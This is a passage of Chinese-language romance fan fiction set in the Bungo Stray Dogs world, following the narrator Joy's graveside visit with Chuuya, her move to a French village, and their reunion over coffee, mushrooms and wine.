“那才不叫充公。”森鸥外不同意我的说法,“葬礼的花费是一大笔支出,而且你兄长的遗体缝合也有相当大的难度。”
“缝合?他被人分尸了?”
面前男人紫色的眼眸里,映出我疑惑不解的脸。
我看着他,也在看着自己。
长久的沉默中,森鸥外移开视线,语气充满惋惜。
“……乔伊酱,你应该去给你的兄长扫墓,至少扫一次。”
“但是
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我现在需要卧床休息,不能走动。”
“不用走动,我让人抬你过去。”森鸥外用不容拒绝的语气说,“这条是首领的命令。”
*
见习成员也要服从港口Mafia首领的命令。
于是第二天清晨,我被樋口的上司芥川龙之介塞进车里,带到了远郊的山脚下。
芥川不爱说话,大概身体不太好,面色苍白,一路都在咳嗽。
他是个脑子一根筋的人,森鸥外说我不能走动,下车之后,他便真的用他的异能力罗生门举着我在走。
……难看死了。
不知道的还以为是送我来下葬的。
“芥川大人,您放我下来,让我自己走。”
芥川充耳不闻,坚持举着我。
但他也不知道我要扫哪块墓,两人像无头苍蝇似的在墓地里瞎转。
这里立着很多墓碑,太阳还没出来,薄雾未散,一切都安静极了。
“咳咳咳——”芥川又开始剧烈地咳嗽。
“芥川大人,放我下来吧,您都喘上了。”
“芥川大人,我口袋里有润喉糖,您至少吃一颗吧。”
“芥川,你怎么会在这里?”
正在我和芥川僵持不下时,一个熟悉的声音传了过来。
未尽的天光里,中也一身黑色西装,捧着几束白菊,缓步朝我们走来。
“乔伊?”他看到了被罗生门举着的我,眼角一抽,“你们这是在干什么?”
芥川终于开口道:“她来扫墓,但首领说她不能走路,还禁止我和她说话。”
可恶的森鸥外,他凭什么禁止芥川和我聊天?
“那你也不能用罗生门啊,交给我吧。”中也有些无奈,他将所有花束用左臂箍住,腾出了右手,看样子他打算抱我。
我立马紧紧抱住了罗生门:“罗生门可舒服了,我就要坐这个。”
“乔伊。”
“中也大人昨天晚上还凶我,说不定等会儿就把我摔了。”
面对我的控诉,中也愣了一下,没有坚持:“那麻烦你了,芥川。”
芥川咳得更用力了:“在咳咳——下——不麻烦,但是不知道要扫哪个墓咳咳——”
扫墓不知道扫哪个墓,真叫人尴尬。
“我知道。”中也平静地说,“跟我来。”
他知道?
他知道才有鬼!
直到被带到完全不认识的名字的墓碑前,我才深切地感觉中也的善良。
——【阿部家之墓】
森鸥外替我伪造的身份里,父母姓阿部,是在意外中死去的Mafia成员。
中也不仅找出来了,并且在他们的墓前,摆放着一束枯萎不久的鲜花——他应该之前就祭拜过。
“之前来给朋友扫墓,发现了你父母的墓。”中也递给我一束白菊,让我为他们献花。
他双手合十拜了拜,芥川也跟着拜了拜。
“我的父母么……抱歉,我什么也不记得了。”还是失忆这招好用,不然我还得表演假哭。
中也眼中闪过一丝愧疚,轻声道:“以后会想起来的。”
——他肯定又将我失忆的事归为自己的责任。
“芥川,你送她回去吧。”
“是!”
中也转过身,沿着小路,去了前方的墓地。
他带了很多束花,应该还要祭拜很多人。
我突然又想起了亚瑟的那句话。
——中也大人的一生经历过太多次离别了。
经历过太多次离别,至今仍在独自前行。
“中也大人!”我开口喊道。
橘发青年停下脚步,回过头。
“还有事吗?”
“罗生门像破旧的独轮车一样不舒服,您可不可以背我呀?”
然后,我看到太阳升起了,空气里有海浪一样的嗡响声。
第一缕阳光落在他的脸上,融化成一个很轻柔的微笑。
“来吧。”他说。
12.12
12
中也的后背并不宽阔,却十分温暖。
芥川留在了原地,没有跟过来。
“中也大人,您每次都是一个人来扫墓吗?”
中也轻轻地嗯了一声。
“那我以后陪中也大人一起来扫墓吧。”
“用不着。”
用不着……
他居然说用不着……
下一秒,我在他的背上扭动起来:“那我走!”
“别乱动,你脖子的伤口会裂开。”
“裂开拉倒,反正中也大人又用不着我,我一点发光发热的机会都没有了!”
听着我气势汹汹的控诉,中也无奈地妥协了:“有空会带你一起过来扫墓。”
一听这话,我才停止闹腾。
“中也大人最好了!”
“你还真是好奇心旺盛。”他摇摇头,“扫墓又不是什么好玩的事。”
“因为我也想和那些人说说话。”
中也没吭声,大概是觉得无语,毕竟我并不认识他的朋友,能有什么话说。
他在一座墓碑前停了下来。
这是一座新坟。
墓碑上写着米隆的名字。
作为蓄意报复而潜入Mafia的杀手,他的尸体却没被去拿去喂鲨鱼,而是被好好安葬在了这里,很大程度上是中也的意思和森鸥外的默许。
米隆的旁边,是一个叫【外科医生】的人的墓。
我记得米隆说过,他的哥哥是一名外科医生。
中也先为米隆献上了一束花,又熟练地擦拭起了外科医生的墓碑。
【阿呆鸟】
【冷血】
【公关家】
……
每擦拭完一座墓碑,他都会摆上花束。
整个过程中也一言不发。
【钢琴师】
我的目光停在了最后一座墓碑上。
……原来哥哥被埋葬在这里。
我环顾四周,蓝天白云,青山绿水,这是一个很不错的地方。
听到中也发出啊的一声,我回过头来,看到他一脸尴尬地看着钢琴师的墓碑,顿时反应过来,他没有花了。
原本他带了六束花,分别是献给他的五个朋友以及朋友的弟弟,但芥川带我来扫墓,被我的“父母”分走了一束。
于是献到钢琴家就两手空空了。
“中也大人,要不我们把刚才献给阿部家的那束花再拿回来。”
闻言中也嘴角一抽:“瞎说什么呢。”
我摩拳擦掌:“花要用到刀刃上,我现在就去拿。”
“回来。”他赶忙制止了我,“那样太失礼了。”
我歪了歪头:“可是钢琴师先生没有花。”
“偶尔少一次没关系。”
“就只有他一个人没有,他肯定会被其他几个人排挤的,到时候他们会说‘看吧,中也大人果然和我们亲不和你亲’,那他会自闭的。”
“你在胡乱脑补什么?”中也抬起手敲了敲我的头,“那些家伙才不会说这么肉麻的话。”
他的声音里竟然带了一丝笑意。
“诶?”我好奇地抬起头,“那他们会说什么?”
中也一怔,蓝色的眼眸里浮现出些许怀念的神色。
他不说,我便继续猜。
“会说‘中也大人现在当干部了,应该涨工资了吧,要争取早日超过首领的工资,成为Mafia首富!’”
中也:“……”
“也许会问‘中也大人有谈恋爱吗?喜欢什么类型呢?女生还是男生?’”
“不要再猜了!”
提到恋爱相关的话题,中也就会害羞地避开。
亚瑟在第一天就告诉过我,中也不仅是个处男,还一次恋爱都没有谈过,十分纯情。
“我可以不猜,但中也大人要好好回答我的问题。”
四目相对,他别开视线。
“……喜欢女生。”声音有些小。
“啊?”
“喂,你那是什么眼神?这有什么好惊讶的!”中也瞬间拔高了音量,“我是个传统的日本男人,当然喜欢女生,不过其他人喜欢男的还是女的跟我没有关系,我也不会有意见。”
“中也大人您误会了,我以为您会回答‘朋友们会说些什么话’的问题。”
他回答的却是性取向。
青年脸上的窘色逐渐消散,直到归于平淡,他才轻声说道:“我也不知道。”
太阳完全升起了,金灿灿的阳光洒在被擦拭得一尘不染的墓碑上,碑身闪闪发光。
四周一下子安静下来。
我望着墓碑:“既然属于钢琴师先生的花让给了我,那么要献给他的礼物也应该由我来送。”
“他不会和女生计较。”
“可以请您转过身去吗?我要送礼物了。”
中也没动,疑惑道:“你要送什么,还不能让我看?”
“秘密。”我催促他,“您快点转过去。”
中也虽然不太情愿,但还是照做了,他背过身去,从口袋里摸出烟盒,点了一根香烟。
“不可以偷看哦!”
“我没兴趣。”
【钢琴师】
我凝视着墓碑上的字。
这是他在港口Mafia的名字,多年前他放弃了埃文斯家族的一切,义无反顾地去了那个夺走他性命的地方。
乔琪·埃文斯哥哥,我在心里默念了一遍他原来的名字。
眼前浮现出他年轻俊美的容颜,他教我弹钢琴,也用钢琴线将我吊起来荡秋千,还有我们最后一次见面时,他温柔苍白的微笑。
我轻轻地吻上了墓碑。
第一次的亲吻,也是最后一次的亲吻。
没有想象中的冰冷,因为有阳光洒在上面。
也没有灰尘的味道,因为中也把墓碑擦干净了。
这是一个……我找不出明确形容词的吻。
但我想多停留一会儿。
“你在做什么——”
芥川突如其来的声音打断了风平浪静的一切。
中也闻声转过身来,正好看到我在亲吻墓碑,震惊地喊道:“乔伊!”
我不满地抗议:“中也大人,不是说好不可以偷看的吗?”
“这就是你说的礼物?”
“我又没带其他礼物,只能献吻。”
芥川立刻批判道:“这是对亡者不尊敬!咳咳咳——”
他激动地咳嗽起来,小脸通红。
“没那么严重。”中也倒是没批评我,“那家伙不会介意的。”
他挑了挑眉:“但是下次不要送这种礼了,你和他又不认识。”
我朝墓碑鞠了一躬:“钢琴师先生,您好,初次见面,我是中也大人的心腹乔伊。”
然后我又对中也说:“现在我和他已经认识咯。”
中也对这种行为无法评价,他从外科医生他们墓前的花束里,各抽了一支白菊,扎成一小把,放在了钢琴师的墓前。
“这样行了吧?”他问我。
我点点头:“钢琴师先生会很开心的。”
“说了他不会介意。”
“我想和他们打个招呼。”
“随便你。”
得到允许,我清了清嗓子,开口说道:“外科医生,中也大人他经常熬夜不睡觉,工作做完了也不睡觉,而是躺在沙发上打游戏。”
中也瞪圆了眼睛:“我就打了那一次,你要记这么清楚?”
“他也不按时吃饭,瘦得肚皮上全是凸出来的骨头。”
“那是腹肌,不是凸出来的骨头。”中也有些生气了,“你哪里是在打招呼,你明明是在告状。”
我没理他,继续告状:“公关家先生,中也大人说自己喜欢女生,但是他平时都不和女生接触,上次我邀请他留宿,他都坚持回自己家睡。”
中也:“……”
目光瞟到旁边的芥川悄悄竖起了耳朵,专心地听着。
“冷血先生,中也大人他……”
“钢琴家先生,中也大人他……”
告状大会在我说了“以后我会帮你们好好看住中也大人的”这句话之后,才终于结束。
中也鼻子都气歪了。
“说完啦,我们现在是回Mafia还是回公寓?”我朝他伸出双手,“中也大人背。”
中也扭过头,留给我一个无情的后脑勺。
“芥川,你送她。”
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“是!”
罗生门张牙舞爪地朝我扑来,我挣扎起来:“我不要罗生门,这个不舒服,我要中也大人背。”
“吵死了。”芥川居然用罗生门将我的嘴堵住了。
“呜呜呜呜——”我发出呜呜的求救声。
“芥川,我是让你背她,不是让你用异能捆人。”中也扶额,“哎,算了。”
于是离开时仍然是中也背我。
……
晚上。
“中也大人,这个烤虾真好吃,洋葱蘑菇汤也好好喝。”
中也翻过一页报告:“吃饭时不要说话。”
由于脖子受伤不方便做饭,晚餐是中也给我订的法式料理。
他已经吃完了,在看一堆工作报告。
我边吃饭边观察他脸上的表情。
他时而皱眉,时而嘴角上扬,时而发出一声“噫”,喜怒哀乐全写在脸上。
很真实,也很生动。
大概是被盯久了有感应,他抬起眼眸:“我脸上有什么吗?”
“没有。”我摇摇头,“我喜欢看着中也大人,想要一直这么看着。”
“笨、笨蛋,不要随便讲出这种话!”
中也的身体里似乎有一旦谈起“恋爱”、“喜欢”之类的字眼,就立刻变得害羞的装置。
他脸都红了。
“快点吃饭!”他故意粗声粗气道,“不想吃餐后甜点了吗?”
哦,他还订了餐后甜点。
他不喜欢甜食,但他记得我喜欢甜食。
“中也大人,今晚我可以留下过夜吗?”
“?”
“我想要和您睡觉。”
“!!!”
如果不是因为我受了伤,要轻拿轻放,估计中也已经把我扔回一楼了。
晚餐前我提出来他家吃,理由是我家太乱了没收拾,他才勉强同意。
“绝对不行。”中也坚定地拒绝了。
“男人不能说不行。”我从包里拿出衣服和香薰蜡烛,“我连睡衣都带了,还有这个——”
我把香薰蜡烛递给他看。
“这是上次在中华街买的蜡烛,店家说只要在睡觉时点燃,就能在梦里见到已经过世的人。”
我献宝似的说:“中也大人,说不定今天晚上您就能在梦里见到钢琴师先生他们了。”
“这种东西明显是骗人的,况且我从来不做——”
他不做什么,他没说。
“睡觉点蜡烛只会引起火灾。”
“试试嘛。”
中也满脸抗拒:“不要。”
“可是我所有的钱都拿来买了这支蜡烛。”
对不起了亚瑟,我在模仿你了,只要这样说,中也就不会拒绝我。
……因为他比任何人都懂得珍惜别人的心意。
“买了多少钱,我补给你。”
“中也大人试试嘛。”
“……”
“就试一次。”
“下不为例,睡觉时再试。”中也被道德绑架,败下阵来,“下次不要买了,你工资又不多,留着给自己买点东西。”
“好。”
中也信守承诺,在凌晨两点结束工作后,点燃了蜡烛。
我从客房里走出来,看着玄关摆放整齐的一排纸鹤,中也把我送给他的纸鹤都放在了这里。
我拿起一只橘色的纸鹤,慢慢地给它涂上眼睛。
如果中也此时也在客厅,一定会十分惊讶,即使没有重力操控,那只纸鹤还是浮在了空中。
我摸了摸它的头:“去带中也君见朋友一面,毕竟他当年都没来得及和他们告别。”
纸鹤振翅,飞进了中也的房间。
我能想到最安全的方式,就是让他以为一切都是在梦里发生的。
这是回礼,也是告别。
“哥哥,我已经见到你说的无价之宝了。”
“他的确令人心动,但,我得为全人类的自由负责。”
天亮时分,我留下一张纸条,离开了公寓。
纸条上写道:【中也大人:感谢您这段时间的照顾,我已经恢复记忆回老家了,再见,也请替我向亚瑟和织雪他们说声再见。】
其实是不会再见了。
13.13
13
这里是一个名叫菲利普亚的小镇,位于法国的南部,由于交通极其不发达,在地图上也很难找到它的踪影。
但它十分优雅,被群山环抱,有大片的花海和童话般的风车,人们连走路都很慢,脸上挂着笑容,是那种没浸染过外界欲望和不加修饰的善意。
今天是我来到这里的第两百天。
我租下了一间带院子的房子,种了柿子树和无患子树,搭了秋千,布置的和在Mafia公寓时几乎一模一样。
唯一遗憾的是这里没有乔伊花,我找遍了小镇也没有谁听说过这种花。
我也没有等到乔伊花开花就离开了。
后来仔细一想,在中也将种子递给我的那一刻,乔伊花就已经在我的心上盛开过了。
夜深人静的时候,我偶尔会想起那个有着明艳的橘色头发,眼睛里藏着星海的Mafia干部。
不知道在他醒来后,看到我留下的纸条,会不会非常生气。
不过,他的工作很忙,我并不出众,也算不上他的朋友,他很快会忘记我。
可能现在已经忘记了。
“乔伊姐姐,有您的电话!”
七岁的莎拉像风一样跑进院子的时候,我正在给植物浇水。
“谢谢你,莎拉酱,我这就来。”
我放下手里的浇花壶,跟在蹦蹦跳跳的小姑娘身后,来到了镇上的小卖部。
她是小卖部老板的女儿,上面还有一个哥哥戈尔登。
我刚接过电话,那头就传来了一个不耐烦的声音。
“我说,给你汇过去的钱不够买一支手机吗?”
显然他等我听电话等了很久。
“条野,你最近过得好吗?”
电话是条野打来的,他一星期通常会打来两次,都是在下午。
条野噫了一声,故意挑刺:“渣女的经典开场白。”
“渣女?”我翻了个白眼,“那渣女要挂电话了。”
话虽如此,我当然不会挂,毕竟条野是我和外界唯一的联系。
也是他动用军警的关系,帮助我从日本顺利来到了法国。
“过阵子我要去法国出差,顺路去你那里喝杯咖啡,你可要大方地拿出家里最好的点心招待客人呀。”
我环视四周,四面都是山,连汽车都进不来,不觉得哪里能顺路。
“行吧,你来。”
条野絮絮叨叨说了不少话,先是炫耀他在猎犬的战绩,又吐槽铁肠的品味愈发奇葩,当他聊起横滨的天气时,我知道他开始没话找话了。
“你没什么事的话,我先挂了。”
“等一下,乔乔。”
“还有什么事吗?”
“……没事。”条野的声音忽然变得很轻,“想再听一会儿你的声音,你不想说话也没关系,我可以听听你的心跳。”
他很少有这么正经的时候。
我的态度也软了下去。
“那你听。”
“毕竟听心跳我就知道你现在有没有和野男人鬼混。”
……正经不到一秒钟。
我果断地挂了电话。
一回头,看到莎拉一家三口都在好奇地看着我。
……还好他们听不懂日语。
“又是男朋友打来的吗?”莎拉的母亲罗拉太太暧昧地问。
“不是男朋友,是青梅竹马的朋友。”替我发声解释的是莎拉的哥哥戈尔登。
戈尔登只有十六岁,留着一头金色长发,性格活泼开朗,是整个小镇上唯一的异能力者。
“乔伊小姐解释过很多次了,妈妈你永远记不住。”戈尔登不满地瞪眼。
“抱歉抱歉。”罗拉太太笑着说,“乔伊小姐,留在我们家吃午饭吧,今天我做了美味的肉饼和炖菜。”
“太麻烦你们了。”我有些不好意思,“我总在蹭饭。”
“没关系啦,做了很多,而且我们家莎拉和戈尔登都很喜欢乔伊小姐呢。”
……喜欢我么?
莎拉喜欢我是因为我擅长手工,会教她折纸,给她做各种玩具,戈尔登则是喜欢听我讲外面的世界。
他对外面的世界充满向往,早已厌倦自给自足的生活,迫不及待地想离开这里,但他的父母拿不出钱。
架不住这家人的盛情邀请,我留下吃了午饭,作为回报,我表示下午可以留下帮他们看店。
“那么店就拜托你了,乔伊小姐。”
莎拉一家人决定去西边的山里摘山大菇,也顺便打听一下采矿队的事。
据说是从城里来的采矿队在那里挖到了价值连城的钻石,但同一时间,西边的生态突然开始严重恶化。
植被,土壤,水源全遭到了污染。
更蹊跷的是,镇上参与挖矿的工人一个都没有联系上,莎拉的父亲也在其中。
我心想,似乎这个地方我也待不长了。
“路上请注意安全。”
“拜拜,乔伊姐姐。”
目送他们离开后,我躺回了藤椅上。
小镇的天空很美,视野因为四面的高山而有了边界,像一幅镶在画框里的画。
身下老式的藤椅和远在日本横滨的某个地下室的魏尔伦是同款。
不同的是,我沐浴在阳光下,而魏尔伦连月光都晒不到。
他绝对会缺钙的。
而乔伊·埃文斯小姐会茁壮成长!
我乐观地想着,瞥见了右手掌的黑色符文——这是米隆留下的诅咒。
条野对我不用手机一事颇有怨言,因为联络起来很不方便,但其实我放弃使用手机,是由于中途接到过森鸥外的骚扰电话。
森鸥外对我的异能力仍有求知欲,并且他猜到了米隆诅咒的内容。
“一年之内不杀死魏尔伦,乔伊酱会没命吧,真可怜。”
我毫不怀疑,在米隆踏足Mafia的那一刻起,不,也许在更早之前,他就成为了森鸥外手里的棋子。
“乔伊酱打算怎么办呢?”
战五渣的我肯定打不过暗杀王魏尔伦,但森鸥外在等着看我会不会死。
如果我没死成,便会证实他的猜想。
“很遗憾,森先生您是没有机会知道的。”
……
咚咚。
有敲门声传来。
我睁开眼睛,揉了揉被晒得发烫的眼皮。
糟糕,因为日光太舒服,我竟然迷迷糊糊地睡着了。
我在替别人看店啊!
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!!
“有香烟卖吗?”
——一道低沉磁性的男声传来。
我怔住了。
于是缓缓从藤椅上起身这个动作也变得格外漫长。
“有哪些牌子,拿出来给我看——”
他也怔住了。
逆着光,轮廓模糊的橘发青年在小卖部的入口处停下脚步。
相隔二百多天的时间,两万多公里的距离,我和中原中也竟然会在这个不出名的异国小镇上不期而遇。
“您好,初次见面,我是亚里莎——”
“乔伊。”
中也走进来,直接打断了正在扯谎的我。
他认出了我,丝毫不怀疑只是长得像的可能性。
“你要说谎起码得用法语。”
“午安,中也大人。”被点明失误,我也不装了,“这里没有香烟,只有烟丝,而且也不是您喜欢的细丝。”
我拿出店里的烟丝,虽然法国人热衷抽烟,但小镇太原始了,只有需要手动卷的烟丝。我不抽烟也能看出它很劣质,远远达不到面前男人平日里习惯的档次。
中也眼角一抽,思考了片刻后说:“给我拿一盒。”
烟瘾大到都不挑食了吗?
他给了我根本找不开的钱,我扒拉着放钱的盒子,算得满头大汗。
“不用找。”中也不在意地说,“剩下的是小费。”
“谢谢中也大人,但是您给的实在太多了。”
中也顿了一下,说:“那再送我一个打火机好了。”
我摇头:“这里没有打火机。”
“……”中也揉了揉太阳穴,“火柴总有吧,如果这个也没有,就送我两根钻木取火的木头。”
我被逗笑了:“火柴还是有的。”
他也笑:“不错,起码不是原始部落。”
“中也大人很适合去原始部落当酋长,挥舞起长矛一定很有精神。”
“别胡说,我才没那种气质。”
拿人钱财手短,原本只出售烟丝,我额外赠送了加工服务,替他全部卷完了。
中也在旁边安静地看完了全过程,“你和你哥哥一样,有十分灵活的手指。”
“一样?他才只有我一半的水平。”我将卷烟整理到盒子里,轻声问道,“中也大人,您已经知道我哥哥的事了么?”
“嗯。”他换了个站姿,斜斜地靠着柜台,“睡醒后觉得奇怪,就又回头仔细查了一次。”
他查出钢琴师是我哥哥,必然也知道姓阿部的那对夫妻并非我的父母,那我在墓地故意带他哭错坟——
想到之前骗他的那些事,我顿时心虚起来。
“抱歉,乔伊。”
迎面先来的,却不是责骂和追究,而是道歉。
真诚的,坦率的,道歉。
中也微微扶帽,继续说道:“我没有早点发现这件事,害你都不能好好给你哥哥扫墓……”
完了。
全完了。
故意忽略掉的和他有关的那些记忆,在这个瞬间,被时间一口气吹掉了覆盖在上面的尘沙,立刻栩栩如生。
我仰起脸,看着小镇如同油画般静谧美丽的蓝天,忧伤地感慨:“中也大人,您真是个妖精。”
14.14
14
在萨拉一家从山上回来后,我邀请中也去我家喝咖啡,他同意了。
一踏进院子,中也的视线就落在了那两棵树上。
一棵是柿子树,另一棵是无患子树,和我在Mafia公寓院子里种的是同类型的树,现在还没到结果的季节,只有满树翠绿的叶子。
中也观察了一会儿,得出结论:“没有Mafia的那两棵长得好。”
“秋千架搭得有点矮了。”
“鸟太肥,等柿子成熟会被吃得乱七八糟。”
都是负面评价,似乎哪里都比不上他的港口Mafia。
我不服气地说:“但是这里没有森鸥外啊。”
这是我第一次在中也面前不用敬语,直呼他老板的大名。
他听出了我的不满,愣了一下说:“这里的确会平静一些。”
平静。
他说出这个词的时候,眼神也变得相当平静。
作为一个整日被鲜血和暴力裹挟的黑手党干部,他的生活极少有平静的时候。
“挺好的。”
他说着,走到秋千上坐下,一下一下地晃着,风衣尾端随着秋千的摇摆,在空中划出杂乱无章的弧线。
这个光景里的中也侧脸有种说不出来的忧伤。
“这里挺好的。”他又说了一遍,声音变得更轻。
咖啡煮好了,我照例在杯子里做了帽子的拉花。
中也凝视着拉花,忽然笑了起来:“上次在咖啡店叫人弄一个这个,结果做的像只被拍扁的鸭子。”
“中也大人喜欢的话,我随时可以为您做。”
“随时?”中也用手指弹了一下杯子,“你之前也说随时。”
我:“……”
他抿了一口咖啡,淡淡地说:“之后人就跑没影了。”
我无话可说。
“某人似乎还说过‘以后我要陪中也大人一起来扫墓’,我不同意还撒泼。”中也用眼角瞥我一眼,“哼,是谁呢?”
这么一对比,我还真是个任性的渣女。
总是自说自话地许下承诺,然后又不告而别。
“中也大人,对不起。”我纠结地道歉,“如果您还在生气,就用重力狠狠将我碾碎吧。”
“……那倒不必。”
中也放下咖啡杯,里面的帽子拉花已经被喝得看不出形状了,“我要在这里留一阵子,你每天都要给我煮一杯这样的咖啡,之前的事一笔勾销。”
“诶?”这么容易?
仿佛是看出了我的心思,中也挑眉:“我没兴趣为难女人。”
我趁机提出请求:“那中也大人可以不告诉森先生遇到我的事吗?”
他眼中闪过一丝惊讶,但没有问原因。
“Boss一向只听结果,对我旅途中的细节不感兴趣。”
意思是他不会说。
“谢谢中也大人。”
“大恩不言谢。”出人意料的是,中也竟然不按常理出牌。
“那要怎么谢?”
“咳咳,旅馆的菜做得太甜了,我吃不惯。”他吐槽道,“来了两天,饿了九顿。”
我顿时明白了回报的方式。
“中也大人不介意的话,请留下吃晚餐吧,不过我要先上街买菜。”
中也不是一个饭来张口的男人,在我换好衣服出门时,他也跟了过来,并且很自然地将我手里的菜篮子接了过去。
一路上他走得不快,始终都在照顾我的速度。
我甚至产生了一种错觉,身边的人仿佛不是Mafia的干部,而是一个普通的男人。
“这是什么?”他拿起一个草菇问道。
这个季节盛产各种菌菇和蔬果,很多品种中也没见过,难免好奇。
“草菇,当地人也叫它妈妈菇。”
“为什么?”中也想了想,“很受主妇的欢迎?”
“不对哦,是因为它肚子里面还有一个菇。”我掰开草菇给他看,“看,是宝宝中也。”
“没大没小。”他在我的头上敲了一下,“我年纪比你大。”
“不都是二十二岁吗?”我记得我和中也是同龄人。
“你的生日在十二月,比我小。”
——中也居然知道我的生日。
不过也不奇怪,他调查过我的资料,但是能记住这些细节,还是令人惊讶。
那么,我之前认为他很快就会忘记我的结论是错的。
好奇怪,我明明猜错了,心里却异常高兴。
这种心情反映到肢体语言上,就是我从青年的蓝眼睛中,看到的自己脸上怎么也压不下去的嘴角。
“中也大人,我们晚上做蘑菇全宴吧。”
“都行。”他顿了顿,“不用做太多,吃不完。”
我挑了各种蘑菇,又选了一些野韭菜,草莓,一块新鲜的牛肉和鱼肉。
中也一路都在给小费,洋洋洒洒的像个财神爷。
回到家后,见我忙不过来,中也不好意思坐着等吃,搬了藤椅坐在院子里帮忙清洗蘑菇。
他洗得很认真,像是一位父亲,在给蘑菇宝宝们洗澡,每次洗完一个还拿起来对着夕阳照一下,看看有没有洗干净。
从我的视角看,满满的人夫感。
一只大肥鸟在枝头对着他啾啾啾地叫了半天,试图引起他的注意,他一个眼神都没给,大肥鸟震怒,飞下来在他的帽子上滚来滚去。
中也额头的青筋肉眼可见的暴起。
“杀了你!”
“啾啾啾!”
其实他也就嘴上凶一下,不会舍得动大肥鸟一根毛。
最后大肥鸟是被我用两颗草莓哄走的。
“这鸟没拉我帽子上吧?”中也脱下帽子查看,发现是干净的才松了一口气。
“中也大人的发色真漂亮。”我望着他的头发说,这是我第一次看他不戴帽子的样子。
不对,是第二次。
第一次是在Mafia他喝醉酒时看到的。
说到酒,我拿出了家里唯一的一瓶红酒。
法国盛产各种红酒,这瓶是我刚到这个国家时,条野在法国犯罪组织的朋友送给我的礼物。
一看到红酒,中也的眼睛立刻变得亮晶晶的。
“这瓶是——”他连声音都激动地不稳了,“1951的沉默之花,早就买不到了……真的可以给我喝吗?”
“当然可以。”
虽然条野警告过我,这瓶酒要留给他来看我时喝,但先到先得嘛。
有了红酒,中也的心情出奇的好,整理桌子时都在哼着歌,还慷慨地将一大把草莓都洒给了院子里的大肥鸟。
晚餐时间到了。
我摆了满满一桌子,山菇炖牛肉,烤口蘑,野韭菜煎饼,奶酪草菇汤……
我拿出酒杯,给中也倒酒。
他看着我杯子里的牛奶问:“你喝牛奶?”
“嗯,牛奶助眠。”
“喝酒也一样助眠。”他推荐道,“要不试试?”
“……但是我还从来没喝过酒。”
“这么乖吗?”中也用看原始人一样的眼神看着我,“我记得你哥是个酒鬼。”
“对,哥哥没成年时就偷老爸酒窖里的酒喝了,每次被发现都会挨一顿骂。”
“你父亲真仁慈。”中也用看好戏的语气说,“应该狠狠打一顿才对。”
“是我老妈骂的,老爸都是说‘随他去吧,反正都是要学会的’,妈妈平日里是个很温柔的人,估计是怕哥哥学坏。”
回忆里有关家人的印象开始模糊了。
我已经不太记得他们的脸了。
“哥哥最后还是加入了黑手党。”
中也轻轻嗯了一声:“他学坏了。”
“加入黑手党未必是学坏了,只是选择的路充满凶险。”顿了顿,我又说道,“但是他交到了那么多志同道合的朋友。”
在他离开的七年后,墓碑前的鲜花都
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没有断过。
他始终被人记得。
“就是走得挺早。”我有时候仍然会幻想,如果他还活着,如今会有怎样的一番成就。
“今晚禁止喝牛奶。”
中也重新在我面前放了一只酒杯,他板起脸假装凶狠,“身为黑手党的极恶干部,我不允许有人在我面前装乖孩子。”
闻着红酒散发的馥郁香气,我垂下眼眸:“我怕我酒量不好,酒品也差。”
“只喝一点。”中也作出保证,“放心,我会看住你的。”
“中也大人酒量很好?”
“当然。”
“中也大人酒品很好?”
“……还可以吧。”
他真好意思说自己酒品还可以,要不是见过他撒酒疯的样子,我都要信了。
闹腾得像个三岁小孩。
我端起酒杯:“为中也大人干杯!”
中也与我碰杯:“敬你哥。”
他仰头:“也敬他们。”
透过杯中红色的酒液,我看到了他滚动的喉结。
那颗喉结随着他咽酒的动作,在Choker下若隐若现。
我突然有种想摸的冲动。
三秒后。
伴随着咚的一声,我头朝下趴在了桌上。
“喂,乔伊——”中也急忙问道,“你不会这么菜吧?才只喝了一口啊。”
他戳了戳我的肩膀,我翻了个面,露出一只右眼看他。
中也大概没见过酒量这么差的人,无奈地放下酒杯:“你感觉怎么样?”
“……哥哥。”我叫了一声,闭上了眼睛。
“果然喝醉了,都把我认成那家伙了。”中也说,“我去倒杯水。”
他一离开椅子,我就扯住了他的衣摆。
“你不要走。”
“我只是去倒水,不走,我还没喝尽兴呢。”
不管中也如何保证,我都攥着他的衣摆不肯松手。
最后中也没办法,把我抱到厨房去喝水。
我抱着水杯,边喝边从厨房的窗户看向天空。
“哥哥,天空在吃香蕉。”我指着月亮说。
“那个是月亮。”
“还有好多发光的豆子。”
“那些是星星。”
“你是好人还是坏人?”
“我是大灰狼。”中也说完把自己逗笑了,“我在跟醉鬼瞎扯什么啊。”
“哥哥藏了一个草菇。”我指着他的脖子说,“贪吃鬼。”
中也怔住,意识到我说的是什么,脸都气红了。
“笨蛋,这个是喉结。你还捏——”
他在挣扎时打了一下我的手背,我望着被打红的手背,干脆开始假哭。
“哥哥打我。”
“你该打。”中也撇嘴,“这个可不是给你玩的。”
“哥哥打我。”我蹲在地上,哭声逐渐由小变大,“哥哥讨厌我!”
见我哭得厉害,中也的态度软了下去。
“不讨厌你,好了,别哭了。”
我没理他,眼泪像断了线的珠子,越流越多。
他也蹲了下来,视线与我齐平。
最后像是下了很大决心似的说:“就一次,下不为例。”
他拉下了那根黑色的Choker。
哭声奇迹般的停止了,得到允许,我伸手摸上他的脖颈。
大约是喝了酒的缘故,指尖触碰过的地方都染上了绯红。
那颗喉结比主人更加害羞,它一动都不敢动了。
我越靠越近,中也偏过头:“乔伊,我知道你没喝醉。”
这次轮到我一动不敢动了。
“我经常喝酒,能判断真醉和装醉。”中也低声说,“你装的太假了。”
谎言被戳穿,我恨不得找个地缝钻进去,“那中也大人为什么不拒绝我?”
他重新系上Choker,用很轻的声音说道:“因为,我不想拒绝你吧。”
15.15
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中也在我的额头留下了一个小心翼翼的抚摸。
我透过他的指缝看他,他在半黑暗中沉默,蓝色的眼睛仍然亮如波光粼粼的海面。
中也的另一只手握着酒杯,每说一句话就会喝一口酒。
仿佛是酒给了他说下去的勇气。
“乔伊,跟我回横滨。”
我张了张嘴,刚要回答,嘴唇忽然被他的手指捏住了。
这个轻浮到近乎顽劣的动作,和平时有礼有节的中也完全联系不到一起。
“你先不要急着拒绝。”他说话时并不看我的眼睛,视线落在别处,“我会在这里工作一阵子,半个月,一个月,嗯或者更久,在我离开之前,你考虑考虑。”
我在心里琢磨,他来这里果然是为了工作,但菲利普亚小镇这种偏远又贫穷的地方,能有什么港口Mafia想要的东西呢?
“黑手党的确让人难以产生好感,但是这里、这里也没多好啊,买个蘑菇都有不怀好意的家伙接近你……”
我顿时有些哭笑不得。
他口中不怀好意的家伙,是指在买菜时路过的一名少年,少年赞美我的眼睛是大地的颜色,并提出想要亲吻一下的请求。
结果差点被中也揍飞出去。
